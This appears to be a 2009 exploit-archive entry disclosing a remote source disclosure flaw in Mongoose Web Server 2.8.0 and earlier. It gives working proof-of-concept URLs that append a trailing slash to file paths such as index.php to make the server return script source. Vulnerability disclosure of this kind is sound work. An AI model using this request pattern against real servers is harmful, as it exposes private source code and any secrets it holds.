[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Mongoose Web Server 2.8.0 Source Disclosure
# Published : 2009-10-23
# Author : Dr_IDE
# Previous Title : Joomla Photo Blog alpha 3 - alpha 3a SQL Injection
# Next Title : TwonkyMedia Server <=4.4.17, <=5.0.65 xss
#######################################################
#
# Mongoose Web Server <= 2.8.0 Remote Source Disclosure
# Found By: Dr_IDE
# Tested On: Windows XPSP3
# Download: http://code.google.com/p/mongoose/
#
#######################################################
- Description -
Mongoose Web Server <= 2.8.0 is a Windows based HTTP server.
This is the latest version of the application available.
Mongoose is vulnerable to remote arbitrary source code
disclosure by the following means.
- Technical Details -
http://[ webserver IP][:port]/[ file ][/]
http://172.16.2.101:8080/index.html/
http://172.16.2.101:8080/index.php/
#[pocoftheday.blogspot.com]